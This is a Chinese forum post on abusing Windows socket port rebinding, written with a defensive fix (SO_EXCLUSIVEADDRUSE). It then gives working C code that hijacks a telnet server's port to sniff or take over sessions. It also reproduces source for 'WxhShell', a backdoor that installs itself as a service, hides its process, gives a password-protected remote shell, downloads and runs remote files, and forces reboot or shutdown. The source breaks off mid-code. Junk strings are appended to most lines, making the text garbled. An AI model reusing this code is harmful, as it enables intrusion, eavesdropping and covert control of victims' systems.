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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: DOkEWqM!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =oluw|TCe7  
 )"&-vg<  
  saddr.sin_family = AF_INET; >RHK6c  
e[i&2mM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Bo`fy/x#  
go]d+lhFB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |^S[Gr w  
gET& +M   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]b'K BAMy  
iEr|?,  
  这意味着什么?意味着可以进行如下的攻击: 7_S+/2}U*  
$P^=QN5 Bb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <.l5>mgkCw  
N ]}Re$5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X-3L4@T:?  
,'Y*e[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N,(@k[uta  
vn .wM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {Xwin $C  
u7^Z7; J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (8GJLs 8  
%N/I;`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;p BXAl  
XC?H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jS5e"LMIq  
J%aW^+O  
  #include '&?47+W  
  #include c[sC 2  
  #include b[uTt'p}  
  #include    Z B`!@/3X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vW"x)~B  
  int main() }C/}8<  
  { plsf` a  
  WORD wVersionRequested; V3yO_Iqa  
  DWORD ret; D@[$?^H  
  WSADATA wsaData; JGn@)!$+/  
  BOOL val; dWR?1sV|e  
  SOCKADDR_IN saddr; -3wg9uZ &  
  SOCKADDR_IN scaddr; SQvicZAN)`  
  int err; /# 0@C[9  
  SOCKET s; xO/44D  
  SOCKET sc; 0K7-i+\#  
  int caddsize; h6)hZ'zV  
  HANDLE mt; MG8-1M  
  DWORD tid;   ^[&*B#(  
  wVersionRequested = MAKEWORD( 2, 2 ); 6du"^g  
  err = WSAStartup( wVersionRequested, &wsaData ); #@2`^1  
  if ( err != 0 ) { }=?r`J+Ev;  
  printf("error!WSAStartup failed!\n"); AW+4Vm_!l  
  return -1; HZ[&ZNTa  
  } twf;{lZ(  
  saddr.sin_family = AF_INET; @*is]d+Ya  
   xdYjl.f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QdUl-(  
2J9eeN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S]<G|mn,  
  saddr.sin_port = htons(23); hh+GW*'~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~>>o'H6  
  { LMsbTF@E  
  printf("error!socket failed!\n"); GS8,mQ8l*l  
  return -1; - CM;sXq  
  } WVy"MD  
  val = TRUE; N%y%)MI8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 x~Se-#$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z]Ql/AK  
  { ?B@hCd)  
  printf("error!setsockopt failed!\n"); FE M_7M  
  return -1; QHP^1W`  
  } lDMYDy{<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i;6\tK"!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pRMM1&H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _[0Ugfz (  
9nM {x?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _32ltnBX  
  { !Z%QD\knY  
  ret=GetLastError(); @m6pAo4P  
  printf("error!bind failed!\n"); CtjjN=59  
  return -1; qpp:h_E  
  } :w:5;cm V  
  listen(s,2); YV! !bI  
  while(1) y"t5%Iv  
  { #n2GW^x  
  caddsize = sizeof(scaddr); ? 1Z\=s  
  //接受连接请求 tE>3.0U0Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O~'1)k>  
  if(sc!=INVALID_SOCKET) HFo}r~  
  { [USXNe/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S:Yo9~  
  if(mt==NULL) BOt\"N  
  { -7=pb#y  
  printf("Thread Creat Failed!\n"); 5wGyM10  
  break; +Tq _n@  
  } xU@Z<d,k  
  } bpUN8BI[T  
  CloseHandle(mt); ;pAkdX&b  
  } ^$?8!WE  
  closesocket(s); _QXo4z!a8  
  WSACleanup(); QXXcJc~  
  return 0; pKr3(5~  
  }   JXPn <  
  DWORD WINAPI ClientThread(LPVOID lpParam) YI%S)$  
  { .~b6wi&n  
  SOCKET ss = (SOCKET)lpParam; ffE%{B?  
  SOCKET sc; "_H&p  
  unsigned char buf[4096]; m1daOeZ]P  
  SOCKADDR_IN saddr; N|[a<ut<  
  long num; v]!|\]  
  DWORD val; 2cy{d|c  
  DWORD ret; +|#:*GZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BOh&Db*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   egr@:5QwZ{  
  saddr.sin_family = AF_INET; /JveN8L%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y J1P5u:  
  saddr.sin_port = htons(23); f3v/Y5)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _fMooI)U1  
  { |d{(&s}  
  printf("error!socket failed!\n"); ~PoGuj2wA  
  return -1; K.X% Q,XD  
  } (\WePOy&  
  val = 100; 5O*+5n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i>!f|<  
  { vP,WV9Q1u  
  ret = GetLastError(); *}mtVa_|  
  return -1; _10#rucr  
  } @XmMD6{<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?.4.Ubc\  
  { 3%cNePlr  
  ret = GetLastError(); x;b'y4kH  
  return -1; sjaG%f&h  
  } gO$!_!@LM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c=@=lGgo  
  { Z.h`yRhO  
  printf("error!socket connect failed!\n"); 4<LRa=XT$  
  closesocket(sc); :+-s7'!4  
  closesocket(ss); f(##P|3>R  
  return -1; .(`u'G=  
  } #p_ ~L4iW  
  while(1) >!a*wf~]  
  { rH-_L&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F,lQj7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lzw r]J%|?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [2&Fnmjk}X  
  num = recv(ss,buf,4096,0); ]+@b=J2b  
  if(num>0) +x4o#N  
  send(sc,buf,num,0); $6Ty~.RP5H  
  else if(num==0) <m)@~s?D  
  break; :!r_dmJ  
  num = recv(sc,buf,4096,0); wz:wR+  
  if(num>0) JH?[hb  
  send(ss,buf,num,0); d}WAP m  
  else if(num==0) >+$1 p_  
  break; B*?v`6  
  } ueqR@i  
  closesocket(ss); JFZZ-t;*  
  closesocket(sc); h|jsi*4NnL  
  return 0 ; 7J')o^MG  
  } /8GVu7  
$cK9E:v  
 gZvl D  
========================================================== nR ,j1IUF  
ap=M$9L'  
下边附上一个代码,,WXhSHELL  =v8#@$  
wk-ziw  
========================================================== v,2{Vr  
e|{6^g<ru  
#include "stdafx.h" Xw![}L >  
cFuvi^n\  
#include <stdio.h> /yH:ur  
#include <string.h> 85H8`YwPh  
#include <windows.h> $/pd[H[{  
#include <winsock2.h> lYJ]W[!  
#include <winsvc.h> fQe-v_K  
#include <urlmon.h> ggbew6L$Z  
2I#fwsb  
#pragma comment (lib, "Ws2_32.lib") mNuv>GAb  
#pragma comment (lib, "urlmon.lib") * .Kc-f4mP  
"lUw{3  
#define MAX_USER   100 // 最大客户端连接数 <k^h&1J#g  
#define BUF_SOCK   200 // sock buffer ob0clJX  
#define KEY_BUFF   255 // 输入 buffer rZzto;NDS  
;=_KLG <  
#define REBOOT     0   // 重启 IJ=~hBI  
#define SHUTDOWN   1   // 关机 JEBx|U$'Y  
))k^7g9M`  
#define DEF_PORT   5000 // 监听端口  /@%  
Z!hDTT  
#define REG_LEN     16   // 注册表键长度 #X|'RL($  
#define SVC_LEN     80   // NT服务名长度 @AWKEo<7.I  
n:;2Z  
// 从dll定义API tq1h1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BWQ (>Z"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *t*yozN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1?mQ fW@G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y&+<'FA  
C' ny 2>uA  
// wxhshell配置信息 R%b,RH#  
struct WSCFG { <.=   
  int ws_port;         // 监听端口 Q=>@:1=  
  char ws_passstr[REG_LEN]; // 口令 F lbL`@4M  
  int ws_autoins;       // 安装标记, 1=yes 0=no JQ0KXS Nr  
  char ws_regname[REG_LEN]; // 注册表键名 0HF",:yl  
  char ws_svcname[REG_LEN]; // 服务名 LQR9S/?Ld  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FIW*N r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dGHRHXi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ag}>gbz~G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8)M . W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^i@tOtS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T!J\Dm-  
f<y""0L9  
}; ,qaIdw[  
-a/5   
// default Wxhshell configuration D'A)H  
struct WSCFG wscfg={DEF_PORT, I`FH^=  
    "xuhuanlingzhe", P 7gS M  
    1, JYKaF6bx8  
    "Wxhshell", 0oM~e  
    "Wxhshell", } CQ GvH  
            "WxhShell Service", iF<VbQP=X^  
    "Wrsky Windows CmdShell Service", <A!v'Y  
    "Please Input Your Password: ", jcevpKkRG  
  1, #  ,GpZ  
  "http://www.wrsky.com/wxhshell.exe", q.rnZU  
  "Wxhshell.exe" &9TG&~(+  
    }; g$$uf[A-SL  
>Rx^@yQ!+z  
// 消息定义模块 uVIs5IZzIi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1p`XK";g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; py@5]n%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~ ]o .Mv a  
char *msg_ws_ext="\n\rExit."; |'1[\<MM3  
char *msg_ws_end="\n\rQuit."; whxE[Xnv  
char *msg_ws_boot="\n\rReboot..."; :? yv0Iu  
char *msg_ws_poff="\n\rShutdown..."; u:"mq.Q  
char *msg_ws_down="\n\rSave to "; 8 =J6{{E  
|W{z,e01x  
char *msg_ws_err="\n\rErr!"; $t[`}I }  
char *msg_ws_ok="\n\rOK!"; z\Qg 3BS  
2NI3 &;{4  
char ExeFile[MAX_PATH]; ]< TgBo|  
int nUser = 0; K4A=lD+  
HANDLE handles[MAX_USER]; ! QP~#a%  
int OsIsNt; oIX]9~  
t'FY*|xk  
SERVICE_STATUS       serviceStatus; eK4\v:oG1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fWF\ V[  
Q9?/)&3Bu  
// 函数声明 n T\ W|  
int Install(void); [o\O^d  
int Uninstall(void); qnru atA  
int DownloadFile(char *sURL, SOCKET wsh); X[BKF8,  
int Boot(int flag); PNc^)|4^Q  
void HideProc(void); m {wMzsQ  
int GetOsVer(void); obS|wTG~  
int Wxhshell(SOCKET wsl); xZbm,. v  
void TalkWithClient(void *cs); \q%li)  
int CmdShell(SOCKET sock); H@5:x8  
int StartFromService(void); 3 uhwoE  
int StartWxhshell(LPSTR lpCmdLine); `ag>4?7?  
s+o/:rrx Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0SA  c1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [C/h{WPC-  
!</5 )B`5:  
// 数据结构和表定义 "4}{Z)&R2  
SERVICE_TABLE_ENTRY DispatchTable[] = zziujs:  
{ R:Z{,R+  
{wscfg.ws_svcname, NTServiceMain}, g]z,*d  
{NULL, NULL} vU&gFEWg  
}; TfVB~"&  
uu]<R@!J  
// 自我安装 d%5QEVV  
int Install(void) rp.JYz,  
{ 4AzS~5S  
  char svExeFile[MAX_PATH]; gmy_ZVU'  
  HKEY key; IP/ zFbc  
  strcpy(svExeFile,ExeFile); Rr(,i%fu  
[ gx<7}[  
// 如果是win9x系统,修改注册表设为自启动 >*{\N^:z  
if(!OsIsNt) { fg+Q7'*Vq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gx@b|rj;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jA<v<oV  
  RegCloseKey(key); ZrXvR`bsw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .6f %"E,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [6)`wi  
  RegCloseKey(key); vR-rCve$P  
  return 0; |oC&;A  
    } x gnt)&7T  
  } :C_\.pA  
} vgo-[^FiP$  
else { 4Poi:0oOys  
rh?!f(_@  
// 如果是NT以上系统,安装为系统服务 |j<b?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uZ\ >  
if (schSCManager!=0) xG\&QE  
{ *ZF7m_8u{  
  SC_HANDLE schService = CreateService M[@).4h  
  ( (X QgOR#  
  schSCManager, ld$LG6[PA  
  wscfg.ws_svcname, Quc9lL  
  wscfg.ws_svcdisp, N-4LdC  
  SERVICE_ALL_ACCESS, P ;PS+S9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R0, Q`  
  SERVICE_AUTO_START, aKkQXq*  
  SERVICE_ERROR_NORMAL, nW!rM($q  
  svExeFile, fA2H8"r  
  NULL, 2< w/GX.  
  NULL, T/dchWG  
  NULL, f[!N]*  
  NULL, 2?nK71c"  
  NULL U}_l]gNn  
  ); $xa#+  
  if (schService!=0) 7V%}U5  
  { 3[pA:Z+xx  
  CloseServiceHandle(schService); 2BsMFMIw1  
  CloseServiceHandle(schSCManager); I[WW1P5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w<.{(1:v  
  strcat(svExeFile,wscfg.ws_svcname); `oXUVr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9{^:+r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _t 'Kj \  
  RegCloseKey(key); #Kn=Q  
  return 0; 4\Mh2z5  
    } >-c;  
  } v|<Dc8i+  
  CloseServiceHandle(schSCManager); 71m dU6Kq  
} /}]X3ng  
} Qj VP]C}p  
@;"HslU\Q  
return 1; O}*[@uv/  
} xT#j-T  
oJvF)d@gU  
// 自我卸载 =Bu d!  
int Uninstall(void) -A[iTI"  
{ #x" 4tI  
  HKEY key; r> eOq[z  
0jro0f'  
if(!OsIsNt) { yOxJx7uD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]}<wS ]1  
  RegDeleteValue(key,wscfg.ws_regname); ?tQUZO  
  RegCloseKey(key); "AS;\-Jk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Uz2.Ua=  
  RegDeleteValue(key,wscfg.ws_regname); S/"-x{Gc2v  
  RegCloseKey(key); ,3qi]fFLMe  
  return 0; "9Sxj  
  } *+vS f7  
} /NNe/7'l  
} D"El6<3)h  
else { 5YQ4]/h  
&|LZ%W0Fb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cP`o?:  
if (schSCManager!=0)  U(dT t  
{ = iB0ak  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -^Baxkq(YM  
  if (schService!=0) \=?f4*4|/  
  { L!|c: 8  
  if(DeleteService(schService)!=0) { XwOj`N{!H  
  CloseServiceHandle(schService); o6P)IZ1  
  CloseServiceHandle(schSCManager); ^ D/:[  
  return 0; MW &iNioX  
  } Q4JwX=ZVj  
  CloseServiceHandle(schService); 5#p [Q _  
  } Qb!9QlW  
  CloseServiceHandle(schSCManager); C%85Aq*4  
} T+8F'9i`  
} O{y2tz3  
~3dBt@%0  
return 1; ' ^^]Or  
} O~.A}  
/lCn^E6-  
// 从指定url下载文件 ?{mFQ  
int DownloadFile(char *sURL, SOCKET wsh) N1jj\.nB  
{ fT!n*;h  
  HRESULT hr; FZ DC?  
char seps[]= "/"; nzmv>s&UW  
char *token; w&8gA[y*u  
char *file; {n2mh%I  
char myURL[MAX_PATH]; !G.)%+Z  
char myFILE[MAX_PATH]; Y.Na9&-(  
{e/Qs|a R  
strcpy(myURL,sURL); o}mD1q0yE  
  token=strtok(myURL,seps);  ]O3[Te  
  while(token!=NULL) yk5-@qo  
  { 4nzUDeI3MG  
    file=token; s(q\!\FS  
  token=strtok(NULL,seps); )zkk%mE/IM  
  } <v&>&;>3  
R;,+0r^i  
GetCurrentDirectory(MAX_PATH,myFILE); }rz}>((ZHF  
strcat(myFILE, "\\"); yHT8I  
strcat(myFILE, file); { aqce g  
  send(wsh,myFILE,strlen(myFILE),0); ( ?3 )l   
send(wsh,"...",3,0); [~,~ e   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y&")7y/uE  
  if(hr==S_OK) J 6U3}SO=y  
return 0; u*  G|TF  
else ev7Y^   
return 1; |_{-hNiz0  
y,v*jE  
} a02@CsH  
<?5 ,3`V  
// 系统电源模块 bm*Ell\a.  
int Boot(int flag) C s?kZ %  
{ i=#<0!m  
  HANDLE hToken; 'Pk ( 1:  
  TOKEN_PRIVILEGES tkp; ^CX=<  
W2J"W=:z  
  if(OsIsNt) {  }bz v&k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a938l^@;s8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b/5  
    tkp.PrivilegeCount = 1; \74+ cN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zp x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^P >; %  
if(flag==REBOOT) { fn>MOD!l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,.6Hh'^65^  
  return 0; UaA6  
} ]fg?)z-Z  
else { [H$rdh[+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *[t@j*al  
  return 0; Q9=X|  
} {.v-  
  } f5<qF ]Y/  
  else { USy^Y?~ ;  
if(flag==REBOOT) { ]f=108|8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^5x\cR  
  return 0; A6YkoYgC  
} q|0Lu  
else { 2uu"0Rm%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %:yJ/&-Q,Z  
  return 0; NitWIj[U;  
} :KGUO{_u  
} V6)\;c  
uA dgR  
return 1; 7'\<\oT  
} g+|1khS)  
f l*]ua  
// win9x进程隐藏模块 7'uuc]\5>  
void HideProc(void) gf7%vyMo$  
{ RI9&KS  
;2 y3i5^k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?(UeWLC#  
  if ( hKernel != NULL ) |pqc(B u  
  { e$}x;&cQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >u?pq6;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Elw fqfO  
    FreeLibrary(hKernel); fw Ooi 'jb  
  } p3>p1tC  
t$m~O?I  
return; 0+p <Jc!  
} EUevR/S  
9;KQ3.Fa}q  
// 获取操作系统版本 wGD*25M7$  
int GetOsVer(void) Li)rs<IX;m  
{ o<Hk/e~  
  OSVERSIONINFO winfo; {Hg.ctam  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bim}{wMb  
  GetVersionEx(&winfo); 97;`R[^J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N K.]yw'  
  return 1; \7o&'zEw  
  else qC]6g  
  return 0; P0,@#M&  
} Lq<#  
Ib3n%AG  
// 客户端句柄模块 BU],,t\  
int Wxhshell(SOCKET wsl) T9N][5\  
{ yXyL,R  
  SOCKET wsh; 5jAiqJq~y:  
  struct sockaddr_in client; [S;ceORx  
  DWORD myID; w ;+x g  
1'ts>6b  
  while(nUser<MAX_USER) +QpgG4h  
{ t[/WGF&(R  
  int nSize=sizeof(client); 1 ~ fD:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y}Ji( q~  
  if(wsh==INVALID_SOCKET) return 1; 1h_TG.YL9>  
MHNuA,cz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 91'i7&~xdG  
if(handles[nUser]==0) KG7 ~)g  
  closesocket(wsh); +ve S~   
else d^AXhQjQN-  
  nUser++; \>,[5|GU  
  } &p|+K XIf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tP/0_^m  
b?S,%  
  return 0; *l\wl @{  
} OI:G~Wg  
?Vg251-H  
// 关闭 socket jNRR=0  
void CloseIt(SOCKET wsh) &5k$ v^W5  
{ HoE@t-S  
closesocket(wsh); 5eS0 B{,c  
nUser--; U4`6S43ki  
ExitThread(0); ;nS.t_UW.  
} gp@X(d  
tgk] sQY  
// 客户端请求句柄 YQ/  
void TalkWithClient(void *cs) R.nAD{>h*  
{ !V/Vy/'` *  
~^Ceru"<  
  SOCKET wsh=(SOCKET)cs; U~h f,Oxi  
  char pwd[SVC_LEN]; qaE>])  
  char cmd[KEY_BUFF]; [\|`C4@3a  
char chr[1]; \M$e#^g  
int i,j; =zaf{0c  
rBY)rUDd4  
  while (nUser < MAX_USER) { n[|*[II  
K,B qVu  
if(wscfg.ws_passstr) { \0bao<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7T7 A\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l=+hs  
  //ZeroMemory(pwd,KEY_BUFF); aYy+iP'$  
      i=0; ~1xfE C/  
  while(i<SVC_LEN) { ( x)}k&B;  
<V?csx/eRd  
  // 设置超时 @-B)a Z  
  fd_set FdRead; )67pBj  
  struct timeval TimeOut; sn>2dRW{  
  FD_ZERO(&FdRead); R9 +0ZoS  
  FD_SET(wsh,&FdRead); K+WbxovXU  
  TimeOut.tv_sec=8; w8(8n&5  
  TimeOut.tv_usec=0; vMD%.tk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9x4%M&<Z9a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Mk=M)d`  
r1pj-   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {S l#z }@s  
  pwd=chr[0]; w^BF.Nu  
  if(chr[0]==0xd || chr[0]==0xa) { ML:Zm~A1U  
  pwd=0; $G UCVxs  
  break; +)J;4B  
  } 19#s:nt9  
  i++; . {\lbI  
    } nr*nX  
yzH(\ x  
  // 如果是非法用户,关闭 socket EU5^"\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )~> C1<  
} d2~*fHx_!  
=qWcw7!"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A-6><X's6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ./7*<W:  
 m[>pv1o  
while(1) { [{&GMc   
Fy6(N{hql  
  ZeroMemory(cmd,KEY_BUFF); !4Oj^yy%  
|!Uul0O  
      // 自动支持客户端 telnet标准   e9\eh? bPU  
  j=0; l.>3gjr  
  while(j<KEY_BUFF) { A r=P;6J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZBY*C;[)*P  
  cmd[j]=chr[0]; dp|VQWCq  
  if(chr[0]==0xa || chr[0]==0xd) { jV 'u*2&9  
  cmd[j]=0; V7S[rI<<r  
  break; jx=5E6(h  
  } \3bT0^7B  
  j++; hD*83_S  
    } w %2|Po5  
.`ZuUr  
  // 下载文件 @A.7`*i_  
  if(strstr(cmd,"http://")) { uUIjntSF(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1#w'<}h#U  
  if(DownloadFile(cmd,wsh))  k00&+C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E[=# Rw!*  
  else {9c_T!c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O)FkpZc@9c  
  } evQk,;pIm  
  else { =JW.1;  
E*"-U!?)l2  
    switch(cmd[0]) { ~[Fh+t(Y  
  QAxR'.d  
  // 帮助 J/k4CV*li(  
  case '?': { '=V1'I*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LlF|VR&P.  
    break; t&>eZ"  
  } _xz>O [unf  
  // 安装 `Q1;Y  
  case 'i': { h 7/wkv\y9  
    if(Install()) ^[=1J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >gT QD\k:D  
    else ZUd*[\F~!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s$3WJ'yr  
    break; e~1$x`DH  
    } 77/j}Pxh  
  // 卸载 }C'h<%[P  
  case 'r': { 0l'"idra  
    if(Uninstall()) ugy:^U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c#L.I  
    else cx_$`H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sUl _W"aQ  
    break; !h.bD/? K  
    } ?l?_8y/ww  
  // 显示 wxhshell 所在路径 ]vQU(@+I  
  case 'p': { JTS<n4<a  
    char svExeFile[MAX_PATH]; 5T-CAkR{n  
    strcpy(svExeFile,"\n\r"); 8b|m66#|  
      strcat(svExeFile,ExeFile); s~b!3l`gu  
        send(wsh,svExeFile,strlen(svExeFile),0); @|;XDO`k;  
    break; rx\f:-3g  
    } $=ua$R4Z+  
  // 重启 VthM`~3  
  case 'b': { 8eDKN9kq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d-ML[^G  
    if(Boot(REBOOT)) Fu*Qci1Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KkPr08  
    else { /zTx+U.\I  
    closesocket(wsh); oFDJwOJ'Bj  
    ExitThread(0); !4"<:tSO  
    } xN>+!&3%w  
    break; |Qz"Z<sNYw  
    } ~|R/w%*C  
  // 关机 |QO)x En~  
  case 'd': { r34 GO1d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '(fCi  
